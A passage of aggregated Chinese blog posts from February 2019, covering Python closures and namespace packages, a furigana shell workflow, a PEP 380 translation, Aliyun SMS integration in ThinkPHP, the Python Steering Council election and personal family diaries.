在计算机科学中,引用了自由变量的函数被称为闭包(Closure)。 在本质上,闭包就是一个突破了局部边界,所谓“跳出三界外,不在五行中”的法外之物。每次调用闭包函数时,它可以继续使用上次调用的成果,这不就好比是一个转世轮回的人(按照某种宗教的说法),仍携带着前世的记忆与技能么?
打破边界,必然带来新的身份问题,此是明证。
然而,人类并不打算 fix 它,因为他们发现了这种身份异化的特性可以在很多场合发挥作用,例如装饰器与函数式编程。适应身份异化,并从中获得好处,这可是地球人类的天赋。
讲完了这个分家的话题,让我们放开视野,看看天下事。
计算机语言中的包(package)实际是一种目录结构,以文件夹的形式进行封装与组织,内容可涵括各种模块(py 文件)、配置文件、静态资源文件等。
与包相关的话题可不少,例如内置包、第三方包、包仓库、如何打包、如何用包、虚拟环境,等等。这是可理解的,更大的边界,意味着更多的关系,更大的边界,也意味着更多的知识与未知。
在这里,我想聊聊 Python 3.3 引入的命名空间包 ,因为它是对前面谈论的所有话题的延续。然而,关于它的背景、实现手段与使用细节,都不重要,我那敏感而发散的思维突然捕捉到了一种相似结构,似乎这才更值得说。
运用命名空间包的设计,不同包中的相同的命名空间可以联合起来使用,由此,不同目录的代码就被归纳到了一个共同的命名空间。也就是说,多个本来是相对独立的包,借由同名的命名空间,竟然实现了超远距离的瞬间联通,简直奇妙。
我想到了空间折叠,一种无法深说,但却实实在在地辅助了我从喵星穿越到地球的技术。两个包,两个天下,两个宇宙,它们的距离与边界被穿透的方式何其相似!
我着迷于这种相似结构。在不同的事物中,相似性的出现意味着一种更高维的法则的存在,而在不同的法则中,新的相似性就意味着更抽象的法则。
学习了 Python 之后,我想通过对它的考察,来回答关乎自身的相似问题…
啊喵,不知不觉竟然写了这么久,该死的皮囊又在咕咕叫了——地球上的食物可真抠门,也不知道你们人类是怎么忍受得住这几百万年的驯化过程的…
就此搁笔,觅食去了。亲爱的读者们,后会有期~~~

February 24, 2019 12:00 AM

February 23, 2019

farseerfc

東方歌詞翻譯遷移至 sak.uy

最近幾個月在這個博客發了不少歌詞翻譯 似乎有要轉型成音樂博主的趨勢 ,前段時間買了個新域名 sak.uy ,準備專門用來放這些東方歌曲的歌詞翻譯,於是分設了單獨的博客「 Sakuya的音樂盒 」。主博客這邊右側邊欄會有到音樂盒的鏈接。

曾經在這邊的那些歌儘量保持 URL 跳轉過去,新的歌詞翻譯會發到那邊去,還想繼續聽歌的話請繼續訂閱那邊的 RSS 呀。

主博客這邊還是像往常一樣保持記錄生活點滴和技術經驗好了。說道介紹技術, 有人問過我那些日語歌詞上給漢字標註的假名都是我一個個手輸的麼? 一開始是手輸的,後來發現了不錯的自動化方案,於是這裏介紹一下。

首先是 python-furigana

這是個 python 寫的小程序(嚴格說是庫),可以把一段日文轉換成標準的 HTML 形式的 <ruby> 標籤的振假名( 振(ふ) り 仮名(かな) )。 它本身只是個方便的格式化庫,實際工作是用 python-mecab 這個 binding 去查詢 mecab 這個著名的日語語料分析庫。要用它還得配合一些開源的 mecab 詞典,這些在 [archlinuxcn] 都有打好的包了,直接安裝:

$ sudo pacman -Syu python-furigana mecab-git python-mecab mecab-ipadic

裝好之後用法也很直接,甚至沒有 binary 直接調用 python 的 module 就可以:

$ python -m furigana.furigana "振り仮名の例"
<ruby><rb>振</rb><rt>ふ</rt></ruby>り<ruby><rb>仮名</rb><rt>かめい</rt></ruby>の<ruby><rb>例</rb><rt>れい</rt></ruby>

就是提供日語作爲輸入,然後輸出 HTML 形式的 <ruby> 標籤而已。 像上面的例子中出現的錯誤(「振り仮名」完整的一個詞中「仮名」意思是「平仮名」應該發音「がな」而非意爲「假的人名」的「かめい」) 可以看出其實標註的準確率還是有些問題的。嘛日語作爲一個非常依賴上下文判斷的語言, 經常日本人都會搞錯某些漢字的發音,這些也不能強求機械化的算法能 100% 正確實現。 好在單純的詞典匹配也能滿足大部分標註的需要了,用這個標註總體來說 95% 以上的情況都是正確的(歌詞的話正確率低一些,畢竟歌詞中古語啦当て字啦訓読み這些情況很常見)。

把輸出插入我的博客

然後我的博客用 reStructuredText 語法寫,不能直接用 HTML 標籤(雖然我加了 :html: 這個 行內角色(inline role) 但是大量用也不方便)。這個博客一開始用 Pelican 重寫主題的時候 我就實現了個自己的 :ruby: 行內角色(inline role) 用來標發音,於是一段 sed 就能把 python-furigana 的輸出轉換成我用的 rst 語法:

$ which clipboard Co Ci Ct
clipboard: aliased to xclip -selection clipboard
Co: aliased to clipboard -o
Ci: aliased to clipboard -i
Ct () {
    t=$(mktemp /tmp/furigana-XXXX)
    python -m furigana.furigana $(Co) | sed 's@<ruby><rb>@ :ruby:`@g;s@</rb><rt>@|@g;s@</rt></ruby>@` @g' | sponge $t
    cat $t | tee /dev/tty | perl -pe 'chomp if eof' | Ci
}

上面這些 alias 在我的 .bashrc 中。有了這些之後, 我只要把需要標註的日語文本放入剪切版,執行 Ct ,再粘帖結果就好了。

$ echo "振り仮名の例" | Ci
$ Ct
:ruby:`振|ふ` り :ruby:`仮名|かめい` の :ruby:`例|れい`

然後所有那些歌詞上標註的假名都是這樣一句一句標註好之後,再手動校對修改的。

by farseerfc at February 23, 2019 11:37 PM

February 16, 2019

pythoncat

[译]PEP 380--子生成器的语法

导语: PEP(Python增强提案)几乎是 Python 社区中最重要的文档,它们提供了公告信息、指导流程、新功能的设计及使用说明等内容。对于学习者来说,PEP 是非常值得一读的第一手材料,学习中遇到的大部分难题,都能在 PEP 中找到答案或者解决思路。
我翻译了几篇 PEP,这么做的目的一方面是为了加强学习,另一方面也是为了锻炼自己的英文水平。Python 与 English,都是如此重要。翻译能将两者巧妙地结合起来,真是一举两得。
本文介绍了子生成器的语法,即 yield from 语法。其它与生成器相关的 PEP 有 3 篇,翻译的结果附在了本文末尾。若有对翻译感兴趣的同学,可在 Github 上关注下我创建的项目 peps-cn

PEP标题: Syntax for Delegating to a Subgenerator
PEP作者: Gregory Ewing
创建日期: 2009-02-13
合入版本: 3.3
译者豌豆花下猫Python猫 公众号作者)

目录

  • 摘要
  • PEP接受
  • 动机
  • 提议
    • StopIteration 的增强
    • 形式语义
  • 基本原理
    • 重构原则
    • 结束方式
    • 作为线程的生成器
    • 语法
    • 优化
    • 使用StopIteration来返回值
    • 被拒绝的建议
  • 批评
  • 可选的提案
  • 附加材料
  • 参考资料
  • 版权

摘要

为生成器提出了一种新的语法,用于将部分的操作委派给其它的生成器。这使得一部分包含“yield”的代码段,可以被分离并放置到其它生成器中。与此同时,子生成器会返回一个值,交给委派生成器(delegating generator)使用。
当一个生成器再次 yield 被另一个生成器生成的值时,该语法还创造了一些优化的可能。

PEP接受

Guido 于 2011 年 6 月 26 日正式接受本 PEP。

动机

Python 的生成器是一种协程,但有一个限制,它只能返回值给直接的调用者。这意味着包含了 yield 的代码段不能像其它代码段一样,被拆分并放入到单独的函数中。如果做了这样的分解,就会导致被调用的函数本身成为一个生成器,并且必须显式地迭代这个生成器,以便重新 yield 它产生的所有值。
如果只关心生成值的过程,那么可以不费劲地使用如下的循环:
for v in g:
    yield v
但是,如果在调用send()throw()close()的情况下,要使子生成器与调用者正确地交互,就相当困难。如后面所说,必要的代码非常复杂,因此想要正确地处理所有特殊情况,将会非常棘手。
一种新的语法被提出来解决此问题。在最简单的用例中,它等同于上面的 for-循环,并且可以处理生成器的所有的行为,同时还能用简单而直接的方式进行重构。

提议

以下的新的生成器语法将被允许在生成器的内部使用:
yield from <expr>
其中 <expr> 表达式作用于可迭代对象,从迭代器中提取元素。该迭代器会遍历到耗尽,在此期间,它直接向包含 yield from 表达式的调用者生成器(即“委托生成器”)生成和接收值。
此外,当该迭代器是一个生成器时,则此生成器可以执行 return 语句返回一个值,而该值将成为 yield from 表达式的值。
yield from 表达式的完整语义可通过生成器协议来描述如下:
  • 迭代器返回的任何值都直接传给调用者。
  • 使用 send() 发送给委托生成器的任何值都直接传给迭代器。如果发送的值是 None,则调用迭代器的 __next__() 方法。如果发送的值不是 None,则调用迭代器的 send() 方法。如果调用引发了 StopIteration,则恢复委托生成器。任何其它异常都会传递给委托生成器。
  • 除 GeneratorExit 以外,任何传给委托生成器的异常都会传给迭代器的 throw() 方法。如果调用引发 StopIteration,则恢复委托生成器。任何其它异常都会传递给委托生成器。
  • 如果传给委托生成器的是 GeneratorExit 异常,或者调用委托生成器的 close() 方法,则迭代器的 close() 方法会被调用(如果有)。如果调用时出现异常,则会传给委托生成器。否则的话,在委托生成器中抛出 GeneratorExit。
  • yield from 表达式的值是迭代器终止时引发的 StopIteration 异常的第一个参数。
  • 生成器里的 return expr 导致从生成器退出时引发 StopIteration(expr)。

StopIteration的增强功能

为方便起见,StopIteration 异常被赋予了一个 value 属性,来保存它的第一个参数,若无参数,则为 None。

正式的语义

本节使用 Python 3语法。
1、RESULT = yield from EXPR 语句等同于以下语句:
_i = iter(EXPR)
try:
    _y = next(_i)
except StopIteration as _e:
    _r = _e.value
else:
    while 1:
        try:
            _s = yield _y
        except GeneratorExit as _e:
            try:
                _m = _i.close
            except AttributeError:
                pass
            else:
                _m()
            raise _e
        except BaseException as _e:
            _x = sys.exc_info()
            try:
                _m = _i.throw
            except AttributeError:
                raise _e
            else:
                try:
                    _y = _m(*_x)
                except StopIteration as _e:
                    _r = _e.value
                    break
        else:
            try:
                if _s is None:
                    _y = next(_i)
                else:
                    _y = _i.send(_s)
            except StopIteration as _e:
                _r = _e.value
                break
RESULT = _r
2、在生成器中,return value 语句在语义上等同于 raise StopIteration(value) ,除了一点,当前返回的生成器中的 except 子句无法捕获该异常。
3、 StopIteration 异常的行为就像这样定义:
class StopIteration(Exception):

    def __init__(self, *args):
        if len(args) > 0:
            self.value = args[0]
        else:
            self.value = None
        Exception.__init__(self, *args)

基本原理

重构原则

上面提到的大多数语义,其背后的基本原理源于一种对生成器代码进行重构的愿望。即希望可以将包含一个或多个 yield 表达式的代码段,分离进一个单独的函数中(使用常规手段来处理作用域范围内的变量引用,等等),并通过 yield from 表达式来调用该函数。
在合理可行的情况下,这种复合而成的生成器的行为应该跟原始的非分离的生成器完全相同,包括调用 __next __() 、send()、throw() 和 close() 。
子迭代器(而非生成器)的语义被选择成为生成器案例的合理泛化(generalization)。
所提出的语义在重构方面具有如下限制:
  • 一个捕获了 GenetatorExit 却不重新抛出的代码块,不能在完全保留相同行为的情况下被分离出去。
  • 如果将 StopIteration 异常抛进了委托生成器中,则分离的生成器的行为跟原始代码的行为可能会不同。
由于这些用例几乎不存在,因此不值得为支持它们而考虑额外的复杂性。

结束方式

当在 yield from 处挂起时,并且使用 close() 方法显式地终止委托生成器时,关于是否要一并终止子迭代器,存在一些争议。一个反对的论据是,如果在别处存在对子迭代器的引用,这样做会导致过早结束它。
对非引用计数型的 Python 实现的考虑,导致了应该显式地结束的结论,以便在所有类型的 Python 实现上,显式地结束子迭代器与非重构的迭代器,能具有相同的效果。
这里做的假设是,在大多数用例中,子迭代器不会被共享。在子迭代器被共享的稀有情况下,可通过一个阻塞调用 throw() 和 close() 的装饰器来实现,或者使用除 yield from 以外的方法来调用子迭代器。

作为线程的生成器

使生成器能够 return 值的动机,还考虑到使用生成器来实现轻量级的线程。当以这种方式使用生成器时,将轻量级线程的计算扩散到许多函数上就会是合理的。人们希望能够像调用普通函数一样调用子生成器,传递给它参数并接收返回值。
使用提议的语法,像以下的表达式
y = f(x)
其中 f 是一个普通的函数,就可以被转化成一个委托调用
y = yield from g(x)
其中 g 是生成器。通过把 g 想象成一个普通的能被 yield 语句挂起的函数,人们可以推断出结果代码的行为。
当以这种方式把生成器作为线程使用时,通常人们不会对 yield 所传入或传出的值感兴趣。但是,也有一些例子,线程可以作为 item 的生产者或消费者。yield from 表达式允许线程的逻辑被扩散到所需的尽可能多的函数中,item 的生产与消费发生在任意的子函数中,并且这些 item 会自动路由到/去它们的最终来源/目的地。
对于 throw()close() ,可以合理地预期,如果从外部向线程内抛入了一个异常,那么首先应该在线程挂起处的最内部的生成器中引发,再从那里向外传递;而如果线程是从外部调用 close() 来终结的,那也应该从最内部往外地终止处于活动态的生成器链。

语法

所提出的特定语法被选中,像它的含义所暗示,并没有引入任何新的关键词,且清晰地突出了它与普通 yield 的不同。

优化

当存在一长串生成器时,使用专门的语法就为优化提供了可能性。这种生成器链可能存在,例如,当递归遍历树结构时。在链上传递 __next__() 的调用与 yield 返回值,可能造成 O(n) 开销,最坏情况下会是 O(n**2)。
可能的策略是向生成器对象添加一个槽(slot)来保存委派给它的生成器。当在生成器上调用 __next__() 或 send() 时,首先检查该槽,如果非空,则它引用的生成器将会被激活。如果引发了 StopIteration,该槽会被清空,并且主生成器会被激活。
这将减少一系列 C 函数调用的委托开销,并不涉及 Python 代码的执行。一种可能的增强方法是在循环中遍历整个生成器链,并直接激活最后一个生成器,尽管 StopIteration 的处理会比较复杂。

使用StopIteration来返回值

有多种方法可以将生成器的返回值传回。也有一些替代的方法,例如将其存储为生成器-迭代器对象的属性,或将其作为子生成器的 close() 方法的调用值返回。然而,本 PEP 提议的机制很有吸引力,有如下理由:
  • 使用泛化的 StopIteration 异常,可以使其它类型的迭代器轻松地加入协议,而不必增加额外的属性或 close() 方法。
  • 它简化了实现,因为子生成器的返回值变得可用的点与引发异常的点相同。延迟到任意时间都需要在某处存储返回值。

被拒绝的建议

一些想法被讨论并且拒绝了。
建议:应该有一些方法可以避免对__next__() 的调用,或者用带有指定值的 send() 调用来替换它,目的是支持对生成器作装饰,以便可以自动地执行初始的 __next__()
决议:超出本提案的范围。这种生成器不该与 yield from 一起使用。
建议:如果关闭一个子迭代器时,引发了带返回值的 StopIteration 异常,则将该值从 close() 调用中返回给委托生成器。
此功能的动机是为了通过关闭生成器,传信号给传入生成器的最后的值。被关闭的生成器会捕获 GeneratorExit ,完成其计算并返回一个结果,该结果最终成为 close() 调用的返回值。
决议:close() 与 GeneratorExit 的这种用法,将与当前的退出(bail-out)与清理机制的角色不兼容。这要求在关闭子生成器后、关闭一个委托生成器时,该委托生成器可以被恢复,而不是重新引发 GeneratorExit。但这是不可接受的,因为调用 close() 进行清理的意图,无法保证委托生成器能正确地终止。
通过其它方式,可以更好地处理向消费者告知(signal)最后的值的问题,例如发送一个哨兵值(sentinel value)或者抛入一个被生产者与消费者都认可的异常。然后,消费者可以检查该哨兵或异常,通过完成其计算并正常地返回,来作响应。这种方案在存在委托的情况下表现正确。
建议:如果 close() 不返回值,如果出现 StopIteration 中带有非 None 的值,则抛出一个异常。
决议:没有明确的理由如此做。忽略返回值在 Python 中的任何其它地方,都不会被视为错误。

批评

根据本提案,yield from 表达式的值将以跟普通 yield 表达式非常不同的方式得出。这意味着其它不包含 yield 表达式的语法可能会更合适,但到目前为止,还没有提出可接受的替代方案。被拒绝的替代品包括 call、delegate 和 gcall。
有人提议,应该使用子生成器中除 return 以外的某些机制,来处理 yield from 表达式的返回值。但是,这会干扰将子生成器视为可挂起函数的目的,因为它不能像其它函数一样 return 值。
有人批评,说使用异常来传递返回值是“滥用异常”,却没有任何具体的理由来证明它。无论如何,这只是一种实现的建议;其它机制可以在不丢失本提案的任何关键特性的情况下使用。
有人建议,使用与 StopIteration 不同的异常来返回值,例如 GeneratorReturn。但是,还没有令人信服的实际理由被提出,并且向 StopIteration 添加 value 属性减轻了从异常(该异常可能存在也可能不存在)中提取返回值的所有困难。此外,使用不同的异常意味着,与普通函数不同,生成器中不带值的 return,将不等同于 return None

可选的提案

之前已经提到了类似的提议,有些语法使用 yield * 而不是 yield from。虽然 yield * 更简洁,但是有争议的是,它看起来与普通的 yield 太相似了,可能在阅读代码时会忽视了其中的差异。
据作者所知,之前的提案只关注于 yield 产生值,因此遭受到了批评,即他们所替代的两行 for 循环并没有足够令人厌烦,不足以让人为新的语法辩护。通过处理完整的生成器协议,本提案提供了更多的好处。

附加材料

本提案的语法的一些用例已经被提供出来,并且基于上面概括的第一个优化的原型也已实现。
可以从跟踪器问题的 issue 11682 中获得针对 Python 3.3 实现的升级版本。

参考资料

版权

本文档已经放置在公共领域。源文档:
-------------(译文完)-------------
相关链接:

February 16, 2019 12:00 AM

February 15, 2019

anji66

木婚五年,携手走进铁婚时间

自从有了娃儿,曾经从来没觉得时间过的快的我,总是感慨时间飞逝,一恍又是一年,如今小女已经四岁了,我俩也是朝着40岁的年龄直奔而去,按照我们老家习俗,36岁是个中年标志,过了36岁生日就真的是顶梁柱了,而36岁于我俩而言,也就是下一个春节的光景了。去年临时兴起写了一篇结婚纪念日的文,今年再更一篇怕是要变成了一年一更了,当然前提是博客没倒闭。


之前一直说吵架是我俩这几年的婚姻的主基调,加之婆媳关系不好,吵架更甚。去年婆媳终于不在一个屋檐下,相对来说吵架频次也确实降低了些,不过凶猛程度不降反升,甚至在2018年年末闹到轻生的田地,冷静下来,仍唏嘘不已。总结起来,吵来吵去无外乎每次同样的原因,最后又是同样的结局。之前看过一篇文章,关于男女相处之道,列举了最容易伤害对方的四种情形:1. 贬低对方。对方做错了一件事,你说:你真蠢,你怎么这么笨?2. 为自己辩解。要不是你起晚了,咱们也不至于吃不上午饭!3. 嫌弃对方。我都和你在一起了,你怎么还这么对我。4. 冷战。拒绝接受对方提出的协商条件,赌气不合作。而这些正是容易点燃怒火的引线,所以2019年再立flag,克制,沉默,反省,不轻言伤你,不妄言罪己。平等、尊重、真诚应该也是可以维持很好的夫妻关系。


虽然说再立flag,但是可以相见,未来还是会有争吵,特别是围绕着孩子教育问题。上次的一个幼儿试听课那老师说现在的社会经济环境导致了目前多数工薪家庭出现的一种普遍现象,家有儿女的同时,也有一个焦虑的妈妈,和一个缺失的爸爸。娃儿还没正式上幼儿园呢,我们已经因为教育里面开始有了冲突,比如关于要不要提前上托班的问题,媳妇主张要上,提前适应幼儿园的环境。而我不主张,我甚至不想让她去上幼儿园,因为国家规定一年级是从0基础开始教学,我只想让她多玩几年,有个无忧无虑的童年。即便将来,也不要上什么补习班、培训班,不要在人潮中迷失了她自己的天性。即便挤破头皮上了名校,花尽所有时间用来补习,她就能成材吗?大概率她会是如同你我一样,成为一个普通人,拿着一份能养活自己的薪水。虽说现在我能想的如此这般,可是再过一两个月就要开始幼儿园报名了,我有那魄力,能顶着世俗的眼光不让女儿上幼儿园吗?我肯定做不到,言行不一在自己这里就已经兑现,将来我们会因此而不吵架?是该认真的想想了。


预定的纪念品还没有送达,而此刻媳妇已经买好了晚上的《疯狂的外星人》电影票,如同对这个小家的付出,感谢有你,柴米油盐中我们一起,带着宝贝,共赴明天。写在结婚五周年的纪念日。


by 西枫里 at February 15, 2019 07:43 AM

February 14, 2019

anji66

TP5.1接入阿里云短信服务(三)

自从上次TP升级后,一直也没有新用户注册,毕竟要验证手机号码,现在大家的隐私保护意识都很强大,也就是身正不怕影子斜,才敢大胆在我这种小站上注册,感谢大家的信任。那天看邮件,发现收到一个评论提醒,是响石潭医生的博客评论回复,才发现我的短信平台啥时候崩掉了,直接影响了大佬的到访。



查下停摆原因

先去查了下阿里云账户,看看是不是没钱了,用的是后付费的,用一条计费一条的这种。余额还有5块多钱呢,肯定不是这问题。那不是我应用的问题就是接口的问题了。简单调试了下我的应用,手机号,验证码都准确的传递到接口上了,不过接口没反应,既不反馈成功也不反馈失败,就是没拉起来。然后就去阿里云去看了下文档,是不是短信平台升级了,有个意外发现,SDK有新版,功能到是没有发现新增,但是SDK全部规范了。并且打了composer包,这就更好了,上次做的时候还是用的TP自定义扩展extend,这下可以直接用vendor了。

1.jpg

拉取阿里云核心依赖

切换到项目根目录,执行composer require alibabacloud/client命令,完成后,TP的vendor目录下就有了一个alibabacloud的扩展。接下来改造应用即可

2.jpg

使用阿里云OpenAPI Explorer生成需要的代码

如果,通过这个链接,进入阿里云OpenAPI Explorer界面,填写相关的短信模板签名,模板code,和模板变量。其中模板变量这里踩了一个坑,等下讲。右侧就自动生成了你需要的代码,拷贝其中的代码到你的控制器,稍加改造。

3.jpg

4.jpg

改造你的应用

首先当然是use这个扩展类库。原封不动的拷贝过来即可。

5.jpg


将AlibabaCloud::accessKeyClient的静态方法封装到自己的方法中,我这里就用上一版本的方法名了,给getAcsClient方法两个参数,一个手机号,一个验证码。下面的query请求数组将自动生成的用两个参数替代就好了,前面说我踩了个坑,我用模板里面的变量名称${code}传生成的代码,这里直接用了$num替换,报了一个Object {Message: "JSON参数不合法", RequestId: "EBA7EC8F-8484-45B8-A471-B9DB672C50F2", Code: "isv.INVALID_JSON_PARAM"}这样的错误,再回过头去看API错误码,发现原因,所以这里重新做下拼接就可以了。

6.jpg

7.jpg

然后改造下上一版中的发送短信方法就可以了,将$resp = static::getAcsClient()->getAcsResponse($request);改成$resp = $this->getAcsClient($data['mobiphone'],$num);将上一版中没用的json构造数据部分删除就妥了。


好了,水文结束,要下班了。


by 西枫里 at February 14, 2019 07:46 AM

pythoncat

Python之父重回决策层,社区未来如何发展?

春节假期结束了,大家陆续地重回到原来的生活轨道上。假期是一个很好的休息与调节的机会,同时,春节还有辞旧迎新的本意,它是新的轮回的开端。
在 Python 社区里,刚发生了一件大事,同样有开启新纪元的意义:在”Python 之父” Guido van Rossum 宣布卸任 BDFL(终身仁慈独裁者)后,Python 核心开发者们历经半年多的时间,终于为新的治理方案选出了第一届的“执政成员”。
2 月 4 日,经过为期 2 周的投票,Python 社区选出了第一届的指导委员会的 5 名成员:Barry Warsaw、Brett Cannon、Carol Willing、Guido van Rossum、Nick Coghlan。
前段时间,我曾回顾了 Python 之父的退位风波、翻译了各种治理提案的汇总介绍、也分析了核心开发者的投票意向(PS:可通过文末链接进行查看)。本文是对此事件的跟踪报道,也是一个阶段性的句号。随着第一届指导委员会成员的确定,Python 社区将迎来一个新的安稳的过渡期。本文的意义,就是向各位 Python 开发者/学习者/爱好者宣告这个好消息。
核心开发者的自治模式迎来如此重大的转变,这本就是一件值得关注的大事。Python 社区的未来走向与此息息相关,而这种治理模式的成败,也会为其它技术社区提供极好的参照系。

1、指导委员会是什么?

关于指导委员会(Steering Council),它是 7 种治理方案中最晚被提出,但却最被广泛接收的一个,最终经过投票成为了社区里新的治理方案。该治理方案以 5 人组成的指导委员会作为最高决策层,并允许在必要的时候,将决策权委派给其它团队或开发者代表。
指导委员会拥有至高的权力,但它的行事原则是:boring、simple、comprehensive、flexible and light-weight,具体而言则是,通过设定一系列的基础性的、清晰的、灵活的、轻量的规则及流程,来“指导”社区的治理工作。
指导委员会可以直接行使某些权力,例如批准或驳回 PEP、更新项目的行为守则、跟软件基金会一同管理项目资产等等,然而,过分行驶权力的方式并不受鼓励。指导委员会与其它治理提案的关键区别就在于,它将扮演规则制定者的角色,指导、引导以及协调社区工作,只有在关键时候,才会行使最终的裁决权。
指导委员会的职能是:
  • Maintain the quality and stability of the Python language and CPython interpreter,维护 Python 语言及 CPython 解释器的质量与稳定性
  • Make contributing as accessible, inclusive, and sustainable as possible,尽可能使做贡献是便利的、包容的与可持续的
  • Formalize and maintain the relationship between the core team and the PSF,巩固核心团队与 Python 软件基金会的关系
  • Establish appropriate decision-making processes for PEPs,为 PEP 建立恰当的决策流程
  • Seek consensus among contributors and the core team before acting in a formal capacity,为贡献者与核心团队寻求共识
  • Act as a “court of final appeal” for decisions where all other methods have failed,当其它所有方法都失败时扮演“最终裁决法庭”的角色
这个治理模式是借鉴自 Django 项目,详细内容参见 PEP-13。

2、指导委员会的成员?

指导委员会的固定成员是 5 人,且最多允许两人来自同一家企业。换届频率是每个 Python 发行版本。成员可连任。支持不信任投票(即弹劾)。
现在来看看第一届当选的成员:
  • Barry Warsaw:自1995年起成为核心开发者之一,荣获 2014 年的弗兰克·威利森纪念奖。目前供职于 LinkedIn(已被微软收购,也即供职于微软),业余爱好是音乐和太极。
  • Brett Cannon:自2003年起成为核心开发者之一,荣获 2016 年的弗兰克·威利森纪念奖。曾担任 Python 软件基金会的执行副主席。目前供职于微软,负责 VSCode 的 Python 插件项目。
  • Carol Willing:Python 核心开发者,Jupyter 核心开发者及 Jupyter 的指导委员会成员。自由职业,兴趣在于科研及教育项目。
  • Guido van Rossum:Python 的创始人,被称为“Python 之父”,长期领导 Python 社区的发展,直到此次的退位风波。目前供职于 Dropbox。
  • Nick Coghlan:自2005年起成为核心开发者之一。目前供职于 Tritium。
注:弗兰克·威利森纪念奖,即 Frank Willison Memorial Award,该奖由 O’Reilly 出版集团设立,颁布给为 Python 社区做了突出贡献的个人。设立于2002年,每年颁布一次。
这些成员都是多年的资深核心开发者,为 Python 发展做出过长足的贡献。最值得一提的当然是 Guido van Rossum,他并没有离开决策层。事实上,Guido 是自荐成为候选人的,并且是 17 名候选人中最早自荐或被提名的几个人之一。
在当选之后,其他人都在 Twitter 上转发了好消息,而 Guido 不置一词。这留下了一个悬念:Guido 出于什么考虑而决定重回决策层呢,又将会扮演怎样的角色呢?

3、开源技术项目的发展?

要发起一个开源的技术项目,似乎并不难,然而,要使它推广到广大的技术群体,打造出完整的技术生态,并且持续健康地运作下去,这就太难了。
今天,看到一则新闻:Bootstrap 5 将彻底移除对 jQuery 的依赖。我不由地想起半年前,Github 也宣布了完全放弃 jQuery。jQuery 是著名的前端开源项目,几年前一统江湖盛极一时,然而随着 MVVM 框架的崛起,目前已到了穷途末路的境地。
这揭示了技术项目发展的第一大难题:保持技术的领先性。近几年,Python 凭借着在人工智能和科学计算领域的赫赫战功,成为了众多开发者追捧的对象,对我等追随者来说,真是喜闻乐见。乐观地想,Python 至少还不会因为技术原因而没落。
去年,技术社区里还发生了一件大事:Linux 之父 Linus Torvalds 宣布要无限期休假。这个新闻跟 Python 之父的退位相比,所引起的轰动效应可要大得多了。
这两件事有很大的相似性,引发了我的好奇心:开源技术项目所重度依赖的灵魂人物离开了,它们如何才能继续健康地发展运作?
这个话题对我等小小的边缘码农而言,实在是超出能力范围而无法回答。所幸的是,他们又回归了。不过对于核心开发者们来说,这个话题迟早要面对,现在的风波就是一个预警。
Python 社区贡献出来的指导委员会治理方案,会带来什么样的变化,会引领社区走向何方呢?拭目以待。
相关链接:

February 14, 2019 12:00 AM

February 13, 2019

anji66

没有“年味”的春节

岁尾年终,紧赶着在年前两天放假了,休息了一天去买买买,又花了一天打扫房子和洗脸,收拾妥当,除夕当天赶着高速免费,早早的出发回家了。我家女儿习惯了睡懒觉,一般不到九十点钟是不会起床的,这天趁小家伙还在被窝,裹着毛毯直接在睡梦中给她抱车上了。一路还算不错,挺顺畅的到家,要论堵车,G50长兴林城段长年累月的肠梗阻,节假日不赶上都不正常。


禁止燃放烟花爆竹

耗时两个半钟头踏上了故乡的土地,脚还没沾到泥土就收到关于禁止燃放烟花爆竹的短信,措辞严厉,一副好像看谁都不爽的嘴脸。下午时分也收到了上海发来的外环内禁止燃放烟花爆竹的短信,措辞就好多了,至少大过年的还会祝个过年好。自从一些立法权限下放到地市级层面,浙北四线城市湖州就开始走在的作死的路上,满以为自己有着北京的政治地位,或者有着上海的经济基础,越是城市大,越是管理精细,浙北小城直接给你一刀切,管你呢,不让放就是不让放,不想想安吉48W人口,大部分还是传统的农业人口,安吉县还是一个传统的农业县。湖州也不过在浙江排名倒数的几位。不能因为大领导一句绿水青山,你下面就搞一刀切吧,这样的主政思维也是醉了。

1.jpg

2.jpg


提速降费在四五线城市的现状

过年了,老家的宽带也到期了,好巧不巧就过年这天到期,好吧,就去续费,700软妹币,一分不少,三年前是这价格,三年后还是这价格,关键是网速只有50M,三年前是20M。你就说坑不坑吧,感情国家这几年倡导的提速降费在大湖州硬是没有落地生根啊。三年前我上海这边小区800多一年的宽带费20M,三年后只有360块钱了,提速到了200M。因为老人不懂,还被营业厅忽悠了装个IPTV,NND,现在智能电视能装软件,能投屏,我要你个IPTV有鸡毛用?


初一凌晨的焦急

三十晚上守岁算是没正经守了,12点一过就去睡觉了,睡到后半夜,娃儿怎么这么烫,一摸,这肯定是发烧了,一顿翻箱倒柜找出两个温度计,电子温度计显示38.5,测了几遍,毕竟电子的误差大,用水银温度计量了一下腋下体温38.3,确实发烧了,问题是没有其它症状,从上海回来,娃儿的小药箱也没带,这大半夜的如果持续烧下去也不行,起床,初一的凌晨四点,奔向20公里开外的县人民医院。2年没回家,竟然单独建了一个儿科楼?急诊不错诶,好几个诊室,都不用排队,2年前在老急诊楼只有一个儿科急诊室。很大的进步。医生看了下,没啥大事,上呼吸道感染,喉咙有点红肿,备点美林,再开点蒲地蓝和豉翘就准备回家了。一想高速不是免费么,那我从安吉南上高速到安吉北下,就不用穿城区了,路上少些红绿灯多好,天还没亮,外面下着雨雾蒙蒙的,往云鸿路左转黑灯瞎火雾蒙蒙的,路口又宽,还有隔离栏,一没留意逆向了,丫丫个呸的,大初一的,要被扣三分罚200了。


所谓祸不单行,福无双至

经过早上那一折腾,初一一天没精神,年前就被H1N1流感病毒感染的我,咳嗽是更厉害了,这下好了感冒一下就感两年,爽呆了。下午跟着堂兄弟们去隔壁鄣吴给四叔拜年,啥都挺好的,临了被四叔家10多年的老狗给咬了一口,还好,习惯穿大头皮鞋的我,狗牙恁是没咬穿皮鞋,就是被咬的有点疼。这怕是戊戌年还没过完吧,己亥年初一还要来一下子,可真是“鸿”运当头啊。


买错的电影票

